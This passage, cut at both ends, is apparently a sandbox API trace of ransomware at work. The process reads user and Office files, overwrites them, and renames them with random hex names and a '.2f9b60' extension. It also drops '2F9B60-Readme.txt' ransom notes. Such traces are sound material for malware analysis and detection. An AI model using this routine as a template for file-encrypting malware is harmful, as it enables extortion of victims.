Seed=0x30e4f790) returned 0x3c08d624 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x75ae01cb [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x38c549c8 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0xd1d87f2 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x5cf96a15 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3860b4c7 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x6982ca90 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3635e56f [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x1d974c10 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x38190dea [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x26e610c [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3902839b [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x737c4886 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3035ddee [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x4316d499 [0227.869] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x5ee34d1a [0227.870] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x13ec70be [0227.870] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x312d69ad [0227.870] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x5763cc47 [0227.870] RtlRandomEx (in: Seed=0x30e4f790 | out: Seed=0x30e4f790) returned 0x3d44968f [0227.886] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.886] ReadFile (in: hFile=0x17d8, lpBuffer=0x41f885a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x30e4f800, lpOverlapped=0x0 | out: lpBuffer=0x41f885a0*, lpNumberOfBytesRead=0x30e4f800*=0x3c00, lpOverlapped=0x0) returned 1 [0227.887] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0227.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce62690 [0227.887] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c640 [0227.888] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0227.888] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6ae0) returned 1 [0227.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41f71d40 [0227.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6ae0 [0227.889] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1ced6b10 [0227.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced6b10) returned 1 [0227.890] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c640) returned 1 [0227.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62690) returned 1 [0227.891] WriteFile (in: hFile=0x17d8, lpBuffer=0x41f71d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x30e4f800, lpOverlapped=0x0 | out: lpBuffer=0x41f71d40*, lpNumberOfBytesWritten=0x30e4f800*=0x3c00, lpOverlapped=0x0) returned 1 [0232.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f71d40) returned 1 [0232.240] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f885a0) returned 1 [0232.240] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1cd9fa30 [0232.241] SetFilePointerEx (in: hFile=0x17d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0232.241] WriteFile (in: hFile=0x17d8, lpBuffer=0x42c207b0*, nNumberOfBytesToWrite=0x11a, lpNumberOfBytesWritten=0x30e4f8b0, lpOverlapped=0x0 | out: lpBuffer=0x42c207b0*, lpNumberOfBytesWritten=0x30e4f8b0*=0x11a, lpOverlapped=0x0) returned 1 [0235.958] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61970 [0235.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869c40 [0235.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050ddb0 [0235.960] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050ddb0) returned 1 [0235.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x28) returned 0x2050ddb0 [0235.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e0e0 [0235.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050d6c0 [0235.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050d6c0) returned 1 [0235.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869c40) returned 1 [0235.962] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61970) returned 1 [0235.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x51) returned 0x1b858cd0 [0235.962] sprintf (in: _Dest=0x1b858cd0, _Format="%c%c" | out: _Dest="12") returned 2 [0235.962] sprintf (in: _Dest=0x1b858cd2, _Format="%c%c" | out: _Dest="e7") returned 2 [0235.962] sprintf (in: _Dest=0x1b858cd4, _Format="%c%c" | out: _Dest="0a") returned 2 [0235.962] sprintf (in: _Dest=0x1b858cd6, _Format="%c%c" | out: _Dest="5e") returned 2 [0235.962] sprintf (in: _Dest=0x1b858cd8, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.962] sprintf (in: _Dest=0x1b858cda, _Format="%c%c" | out: _Dest="96") returned 2 [0235.962] sprintf (in: _Dest=0x1b858cdc, _Format="%c%c" | out: _Dest="30") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cde, _Format="%c%c" | out: _Dest="1e") returned 2 [0235.963] sprintf (in: _Dest=0x1b858ce0, _Format="%c%c" | out: _Dest="66") returned 2 [0235.963] sprintf (in: _Dest=0x1b858ce2, _Format="%c%c" | out: _Dest="06") returned 2 [0235.963] sprintf (in: _Dest=0x1b858ce4, _Format="%c%c" | out: _Dest="b8") returned 2 [0235.963] sprintf (in: _Dest=0x1b858ce6, _Format="%c%c" | out: _Dest="4f") returned 2 [0235.963] sprintf (in: _Dest=0x1b858ce8, _Format="%c%c" | out: _Dest="6f") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cea, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cec, _Format="%c%c" | out: _Dest="9b") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cee, _Format="%c%c" | out: _Dest="4d") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cf0, _Format="%c%c" | out: _Dest="cd") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cf2, _Format="%c%c" | out: _Dest="57") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cf4, _Format="%c%c" | out: _Dest="91") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cf6, _Format="%c%c" | out: _Dest="0e") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cf8, _Format="%c%c" | out: _Dest="21") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cfa, _Format="%c%c" | out: _Dest="94") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cfc, _Format="%c%c" | out: _Dest="13") returned 2 [0235.963] sprintf (in: _Dest=0x1b858cfe, _Format="%c%c" | out: _Dest="55") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d00, _Format="%c%c" | out: _Dest="d8") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d02, _Format="%c%c" | out: _Dest="82") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d04, _Format="%c%c" | out: _Dest="10") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d06, _Format="%c%c" | out: _Dest="0a") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d08, _Format="%c%c" | out: _Dest="02") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d0a, _Format="%c%c" | out: _Dest="24") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d0c, _Format="%c%c" | out: _Dest="24") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d0e, _Format="%c%c" | out: _Dest="f9") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d10, _Format="%c%c" | out: _Dest="12") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d12, _Format="%c%c" | out: _Dest="41") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d14, _Format="%c%c" | out: _Dest="6a") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d16, _Format="%c%c" | out: _Dest="06") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d18, _Format="%c%c" | out: _Dest="fd") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d1a, _Format="%c%c" | out: _Dest="35") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d1c, _Format="%c%c" | out: _Dest="c5") returned 2 [0235.963] sprintf (in: _Dest=0x1b858d1e, _Format="%c%c" | out: _Dest="ce") returned 2 [0235.963] RtlInitAnsiString (in: DestinationString=0x30e4f928, SourceString="12e70a5ead96301e6606b84f6fad9b4dcd57910e21941355d882100a022424f912416a06fd35c5ce" | out: DestinationString="12e70a5ead96301e6606b84f6fad9b4dcd57910e21941355d882100a022424f912416a06fd35c5ce") [0235.964] RtlAnsiStringToUnicodeString (in: DestinationString=0x30e4f8f8, SourceString="12e70a5ead96301e6606b84f6fad9b4dcd57910e21941355d882100a022424f912416a06fd35c5ce", AllocateDestinationString=1 | out: DestinationString="12e70a5ead96301e6606b84f6fad9b4dcd57910e21941355d882100a022424f912416a06fd35c5ce") returned 0x0 [0235.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa2) returned 0x1ce169d0 [0235.964] wcscat (in: _Dest=0x4205f6a0, _Source="12e70a5ead96301e6606" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\12e70a5ead96301e6606") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\12e70a5ead96301e6606" [0235.964] wcscat (in: _Dest=0x4205f6a0, _Source=".2f9b60" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\12e70a5ead96301e6606.2f9b60") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\12e70a5ead96301e6606.2f9b60" [0235.964] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\12e70a5ead96301e6606.2f9b60", NtPathName=0x30e4f8d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\12e70a5ead96301e6606.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.964] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xdc) returned 0x423ab460 [0237.868] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423ab460) returned 1 [0237.869] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c13d40) returned 1 [0237.869] NtQueryInformationFile (in: FileHandle=0x17d8, IoStatusBlock=0x30e4f938, FileInformation=0x30e4f948, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x30e4f938, FileInformation=0x30e4f948) returned 0x0 [0237.869] NtSetInformationFile (FileHandle=0x17d8, IoStatusBlock=0x30e4f938, FileInformation=0x30e4f948, Length=0x28, FileInformationClass=0x4) returned 0x0 [0240.124] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205f6a0) returned 1 [0240.125] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce169d0) returned 1 [0240.125] FlushFileBuffers (hFile=0x17d8) returned 1 [0240.131] CloseHandle (hObject=0x17d8) returned 1 [0242.459] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x202785f0 [0242.460] wcscpy (in: _Dest=0x202785f0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\" [0242.460] wcscat (in: _Dest=0x202785f0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" [0242.460] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\bfEs56wmOOmKXQ\\a6LjjUV4K\\1ApQo\\2F9B60-Readme.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\bfes56wmoomkxq\\a6ljjuv4k\\1apqo\\2f9b60-readme.txt")) returned 0x20 [0242.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202785f0) returned 1 [0242.461] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311aea0) returned 1 Thread: id = 3853 os_tid = 0xcc8 [0227.915] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.ini")) returned 0x20 [0228.756] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini", dwFileAttributes=0x20) returned 1 [0228.826] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\SendToOneNote.ini" (normalized: "c:\\program files\\microsoft office\\office14\\onenote\\sendtoonenote.ini"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x313c [0229.136] GetFileSizeEx (in: hFile=0x313c, lpFileSize=0x2e2ffa40 | out: lpFileSize=0x2e2ffa40*=123) returned 1 [0229.136] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb1d00 [0229.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2540 [0229.137] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2b40 [0229.137] NtQuerySystemTime (in: CurrentTime=0x2e2ff900 | out: CurrentTime=0x2e2ff900*=132462178331338000) returned 0x0 [0229.137] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x20c9f728 [0229.137] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x71d93457 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x37a84e2e [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x6e8dadb5 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x7adc69e1 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x29063e4e [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x30a42e1b [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x2b1e3d5b [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x5c7505bf [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x1bf671fb [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x7919f0f6 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x61c3f11 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x401589f1 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x2d0caf49 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x28079563 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x370678ff [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x77dfaf57 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x75e3e6eb [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x3a0753c8 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x38d5200 [0229.138] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x20632f8c [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x434216cd [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x3ea39002 [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x7eba5195 [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x4b790cf5 [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x6b2ef796 [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x30ca35b9 [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x3fec029b [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x22507d35 [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x364b3f0a [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x74f30107 [0229.139] RtlRandomEx (in: Seed=0x2e2ff8f0 | out: Seed=0x2e2ff8f0) returned 0x66794660 [0229.149] ReadFile (in: hFile=0x313c, lpBuffer=0x20424b40, nNumberOfBytesToRead=0x7b, lpNumberOfBytesRead=0x2e2ff8f0, lpOverlapped=0x0 | out: lpBuffer=0x20424b40*, lpNumberOfBytesRead=0x2e2ff8f0*=0x7b, lpOverlapped=0x0) returned 1 [0229.151] SetFilePointerEx (in: hFile=0x313c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0229.151] WriteFile (in: hFile=0x313c, lpBuffer=0x2040a6d0*, nNumberOfBytesToWrite=0x7b, lpNumberOfBytesWritten=0x2e2ff8f4, lpOverlapped=0x0 | out: lpBuffer=0x2040a6d0*, lpNumberOfBytesWritten=0x2e2ff8f4*=0x7b, lpOverlapped=0x0) returned 1 [0233.163] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3e20 [0233.164] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x422f3ee0 [0233.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x422f3ee0) returned 1 [0233.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2040a6d0) returned 1 [0233.165] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20424b40) returned 1 [0233.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869240) returned 1 [0233.166] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce62820) returned 1 [0233.166] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x30) returned 0x431ac8e0 [0233.167] SetFilePointerEx (in: hFile=0x313c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0233.167] WriteFile (in: hFile=0x313c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x2e2ffa10, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x2e2ffa10*=0x114, lpOverlapped=0x0) returned 1 [0235.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61920 [0235.413] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20505090 [0235.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c00 [0235.414] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2c00) returned 1 [0235.414] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x1cdb2c00 [0235.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2c30 [0235.415] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb2ff0 [0235.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb2ff0) returned 1 [0235.416] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20505090) returned 1 [0235.417] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61920) returned 1 [0235.417] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x45) returned 0x1ce61920 [0235.417] sprintf (in: _Dest=0x1ce61920, _Format="%c%c" | out: _Dest="e0") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61922, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61924, _Format="%c%c" | out: _Dest="87") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61926, _Format="%c%c" | out: _Dest="cb") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61928, _Format="%c%c" | out: _Dest="81") returned 2 [0235.417] sprintf (in: _Dest=0x1ce6192a, _Format="%c%c" | out: _Dest="24") returned 2 [0235.417] sprintf (in: _Dest=0x1ce6192c, _Format="%c%c" | out: _Dest="3a") returned 2 [0235.417] sprintf (in: _Dest=0x1ce6192e, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61930, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61932, _Format="%c%c" | out: _Dest="e5") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61934, _Format="%c%c" | out: _Dest="84") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61936, _Format="%c%c" | out: _Dest="32") returned 2 [0235.417] sprintf (in: _Dest=0x1ce61938, _Format="%c%c" | out: _Dest="35") returned 2 [0235.417] sprintf (in: _Dest=0x1ce6193a, _Format="%c%c" | out: _Dest="fa") returned 2 [0235.418] sprintf (in: _Dest=0x1ce6193c, _Format="%c%c" | out: _Dest="23") returned 2 [0235.418] sprintf (in: _Dest=0x1ce6193e, _Format="%c%c" | out: _Dest="aa") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61940, _Format="%c%c" | out: _Dest="21") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61942, _Format="%c%c" | out: _Dest="6d") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61944, _Format="%c%c" | out: _Dest="f7") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61946, _Format="%c%c" | out: _Dest="c0") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61948, _Format="%c%c" | out: _Dest="2b") returned 2 [0235.418] sprintf (in: _Dest=0x1ce6194a, _Format="%c%c" | out: _Dest="03") returned 2 [0235.418] sprintf (in: _Dest=0x1ce6194c, _Format="%c%c" | out: _Dest="a6") returned 2 [0235.418] sprintf (in: _Dest=0x1ce6194e, _Format="%c%c" | out: _Dest="f3") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61950, _Format="%c%c" | out: _Dest="53") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61952, _Format="%c%c" | out: _Dest="57") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61954, _Format="%c%c" | out: _Dest="c2") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61956, _Format="%c%c" | out: _Dest="30") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61958, _Format="%c%c" | out: _Dest="61") returned 2 [0235.418] sprintf (in: _Dest=0x1ce6195a, _Format="%c%c" | out: _Dest="cb") returned 2 [0235.418] sprintf (in: _Dest=0x1ce6195c, _Format="%c%c" | out: _Dest="67") returned 2 [0235.418] sprintf (in: _Dest=0x1ce6195e, _Format="%c%c" | out: _Dest="f8") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61960, _Format="%c%c" | out: _Dest="ad") returned 2 [0235.418] sprintf (in: _Dest=0x1ce61962, _Format="%c%c" | out: _Dest="00") returned 2 [0235.418] RtlInitAnsiString (in: DestinationString=0x2e2ffa88, SourceString="e0f887cb81243aaa2be5843235fa23aa216df7c02b03a6f35357c23061cb67f8ad00" | out: DestinationString="e0f887cb81243aaa2be5843235fa23aa216df7c02b03a6f35357c23061cb67f8ad00") [0235.418] RtlAnsiStringToUnicodeString (in: DestinationString=0x2e2ffa58, SourceString="e0f887cb81243aaa2be5843235fa23aa216df7c02b03a6f35357c23061cb67f8ad00", AllocateDestinationString=1 | out: DestinationString="e0f887cb81243aaa2be5843235fa23aa216df7c02b03a6f35357c23061cb67f8ad00") returned 0x0 [0235.418] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x20507eb0 [0235.419] wcscat (in: _Dest=0x205086d0, _Source="e0f887cb81243aaa2" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\e0f887cb81243aaa2") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\e0f887cb81243aaa2" [0235.419] wcscat (in: _Dest=0x205086d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\e0f887cb81243aaa2.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\e0f887cb81243aaa2.2f9b60" [0235.419] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\e0f887cb81243aaa2.2f9b60", NtPathName=0x2e2ffa30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Office14\\OneNote\\e0f887cb81243aaa2.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0235.419] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x4312b1a0 [0237.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312b1a0) returned 1 [0237.971] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4307cec0) returned 1 [0237.971] NtQueryInformationFile (in: FileHandle=0x313c, IoStatusBlock=0x2e2ffa98, FileInformation=0x2e2ffaa8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2e2ffa98, FileInformation=0x2e2ffaa8) returned 0x0 [0237.971] 